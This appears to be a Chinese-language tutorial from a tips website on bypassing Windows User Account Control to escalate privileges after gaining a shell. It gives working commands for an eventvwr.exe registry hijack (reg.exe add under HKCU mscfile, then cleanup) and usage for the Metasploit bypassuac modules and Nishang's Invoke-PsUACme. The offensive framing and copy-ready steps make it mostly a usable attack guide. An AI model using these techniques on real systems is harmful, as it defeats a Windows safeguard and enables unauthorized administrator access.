1. 程式人生 > 實用技巧 >繞過UAC提權

繞過UAC提權

0x01 什麼是UAC

使用者帳戶控制 (UAC) 是 Windows Vista 和 Windows Server 2008 開始引入的一種訪問控制功能。藉助 UAC,應用和任務將始終在非管理員帳戶的安全上下文中執行,除非管理員專門授予管理員級別的訪問系統許可權。 UAC 可阻止自動安裝未經授權的應用並防止意外更改系統設定。

我們在執行非微軟官方的軟體時,即使我們的賬號是屬於本地管理員組的,也會以普通使用者的許可權來執行軟體。當軟體需要更改系統配置或者修改系統關鍵位置時,往往需要提升自己的許可權來執行這些操作,此時UAC就會提醒使用者“你要請允許此應用對你的裝置進行更改嗎?” 。一但使用者點選了“是”, 就會提升該軟體的許可權成管理員許可權,接著該軟體就可以修改關鍵的系統配置和路徑了。

需要UAC的授權才能進行的操作列表如下:

配置Windows Update
增加、刪除賬戶
更改賬戶型別
更改UAC的設定
安裝ActiveX
安裝、解除安裝程式
安裝裝置驅動程式
將檔案移動/複製到Program Files或Windows目錄下
檢視其它使用者的資料夾
UAC有如下四種設定要求:

始終通知:這是最嚴格的設定,每當有程式需要使用高級別的許可權時都會提示本地使用者
僅在程式試圖更改我的計算機時通知我:這是UAC的預設設定。當本地Windows程式要使用高級別的許可權時,不會通知使用者。但是,當第三方程式要使用高級別的許可權時,會提示本地使用者
僅在程式試圖更改我的計算機時通知我(不降低桌面的亮度):與上一條設定的要求相同,但在提示使用者時不降低桌面的亮度
從不提示:當用戶為系統管理員時,所有程式都會以最高許可權執行

0x02 為什麼要繞過 UAC ?

在引入 UAC 後,即使我們控制的賬號是屬於本地管理員組的,也會以普通使用者的許可權來執行軟體。但我們的很多操作是需要管理員許可權的,如上一篇文章中的獲取訪問,比如上一篇文章Token竊取與利用
這裡可能會有個疑問,在獲取 token 的文章中,我們不是可以在 cmd 上面以管理員身份來執行,然後在 UAC 視窗點“是”來獲取管理員許可權的 cmd 嗎?為什麼還要繞過 UAC ?

這是因為,我們獲取主機的許可權時,一般只是得到一個執行命令的 shell,是無法點選 UAC 視窗來同意提升許可權的,所以我們這個 shell ,只是一個普通許可權的 shell ,很多操作都做不了。

0x03 登錄檔劫持

我們可以找一些以高許可權執行的,但是並沒有uac提示的程序,然後利用ProcessMonitor尋找他啟動呼叫卻缺失的如dll、登錄檔鍵值,然後我們新增對應的值達到bypass uac的效果。

以高許可權執行的程序圖示一般有如下標誌:

ComputerDefaults.exe程序圖示確實有個uac的標誌(然後你雙擊開啟會發現並沒有uac提醒)

尋找登錄檔劫持的一般思路如下:

  1. 通過使用SysInternals工具 sigcheck
    (https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck)檢視哪些程式可以自動提升許可權。
  2. 通過 Process Monitor
    (https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) 程式來監控受信任程式的登錄檔操作,查詢 NAME_NOT_FOUND 的 HKCU 登錄檔讀取操作,並且該登錄檔項的值作為命令列被受信任程式讀取並執行。

下面以 eventvwr.exe 程式的劫持為例, eventvwr.exe 是 windows 事件管理器, 用 sigcheck 檢視,發現它是受信任的程式,可以自動提升許可權

sigcheck.exe -m c:\windows\system32\eventvwr.exe

接著開啟 process monitor 檢視 eventvwr.exe ,把過濾器設定成下面,然後開啟 eventvwr.exe

可以看到它對很多登錄檔進行了讀取,從下圖可以看到,它對
HKCU\Software\Classes\mscfile\shell\open\command
進行了讀取,返回 NAME NOT FOUND ,也就是沒有該項,接著它對
HKCR\mscfile\shell\open\command 進行了讀取,返回 SUCCESS。

我們看看 HKCR\mscfile\shell\open\command 中的內容,可以看到 eventvwr.exe 讀取了該項並執行 mmc.exe

這裡來登入我們的test賬戶

可以看到test賬戶是屬於本地管理組,但是我們開啟的cmd還是普通使用者許可權的,無法對系統檔案進行修改

所以我們可以通過下面命令添加註冊表,並執行 eventvwr.exe

reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "c:\windows\system32\cmd.exe /c \"start cmd\"" /f
eventvwr.exe

執行後會新開啟一個 cmd 視窗,該視窗為管理員許可權,成功繞過 UAC

利用成功後清除登錄檔

reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1

成功繞過UAC

0x04 msf bypass uac

Bypassuac提權的MSF模組
use exploit/windows/local/bypassuac #該模組執行時會因為在目標機上建立多個檔案而被防毒軟體識別,因此通過該模組提權成功率很低。
use exploit/windows/local/bypassuac_injection #該模組直接執行在記憶體的反射DLL中,所以不會接觸目標機器的硬碟,從而降低了被防毒軟體檢測出來的概率。

MSF中Bypassuac模組的使用前提有兩個:

一是系統當前使用者必須在管理員組中,
二是使用者賬戶控制程式UAC設定為預設,即 “僅在程式試圖更改我的計算機時通知我” 。

use exploit/windows/local/bypassuac
set session 1
set lhost 0.0.0.0          
set lport 6666                #本地監聽的埠,隨便設定一個未被佔用的埠即可
exploit

0x05 Nishang中的Invoke-PsUACme.ps1

Invoke-PsUACme模組使用來自UACME專案的DLL繞過UAC

Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -verbose  #使用sysprep方法並執行預設的payload
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -verbose  #使用oobe方法並執行預設的payload